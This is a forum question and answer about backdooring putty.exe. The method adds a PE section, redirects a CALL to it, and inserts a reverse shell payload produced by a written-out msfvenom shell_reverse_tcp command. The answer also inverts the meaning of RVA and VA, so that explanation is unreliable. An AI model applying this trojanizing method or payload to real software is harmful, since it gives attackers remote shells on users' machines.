I am trying to follow this tutorial to backdoor a simple 32bits PE binary (putty.exe).

The method used is to create a new section (named .test) containing some shellcode, changing the first CALL instruction to JMP on it, executing it, and JMPing back to the original address the first CALL instruction contained before change for JMP.

First part is adding new section, and I am OK with it (done with LordPE). Here are its caracteristics:

Name    VOffset    VSize     ROffset   RSize    Flags
.test   00110000   00001000  00106E00  00001000 E0000060

In immunity, I have loaded putty.exe. Memory view shows me that .test section is getting mapped at address 00510000

Here are the first instructions being launched:

0046F346 CALL putty. <--- I changed this for JMP putty.00510000
0046F34B JMP putty.

Debug mode JMP indeed to 00510000 ! So I copy/paste the payload at this place and debug again: payload created via:

msfvenom -p windows/shell_reverse_tcp LHOST= LPORT=4444 -f hex

I save the binary an re-launch immunity to debug it:

0046F346 JMP putty.00510000

But JMP occurs now at the very end of the shellcode ! At 0051008E !

Feeling the beginning of the section with NOP does not change the behavior (always at the end of the shellcode).

How is it possible to force the execution flow to the beginning of my shellcode instead ? As no one seems to have encountered this trouble, I suppose I missed some basics.

The document explains how the address is getting calculating like this:

Next step is to hijack the first instruction by jumping to our new section,
for that we need the RVA for both the .test section, first CALL instruction
and address of the next instruction.

001C9DE6 > $ E8 15770000 CALL PsExec_b.001D1500
001C9DEB .^E9 7BFEFFFF JMP PsExec_b.001C9C6B

RVA of 001D1500 is RVA_11500. RVA of 001C9DEB is RVA_9DEB, RVA of .test is RVA_7D0000.

I have no idea how he gets from 001D1500 to 11500 and what is the 1C0000 gap between these two values.

Many thanks for you help understanding this point;


There are three addressing concepts you need here. RVAs, VAs, and offsets.

Relative virtual addresses (RVAs) are addresses into virtual memory. They are configured via the PE's header. If you look at a PE file's section table, you might see something like this:

Section table for a PE file

In this table you can see that the .text section starts at a raw address (offset) of 00000400 and has a size of 00002200. Its virtual address (VA) is 00001000.

Next, if you look into the optional header (PE header) you'll find an entry called ImageBase:

PE header

This sets the base RVA for the executable. You add this to a VA to get the RVA.

Let's run through an example: translating an offset of 0x2740 to an RVA. First we walk the section table to find which section that offset is in. We can see that .text starts at 0x400 and is 0x2200 bytes long, meaning it ends at 0x25FF. Next there's .rdata, which starts at 0x2600 and is 0xA00 bytes long. Our address sits within this section! So we subtract the raw address of the section (the base of the section) from our offset of 0x2740, to give us the raw offset into that section. That gives us 0x140. Next, we add this to the base virtual address of the section, which is 0x4000, to give us 0x4140.This is our virtual address (VA). Then we add the process image base, 0x00400000, to that to get us our RVA: 0x00404140.

My guess is that if you look at your target process, you'll find that the 1C0000 "gap" between the values you're looking at come from the ImageBase value and the difference between the virtual and raw addresses in the .text section.

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy

Not the answer you're looking for? Browse other questions tagged or ask your own question.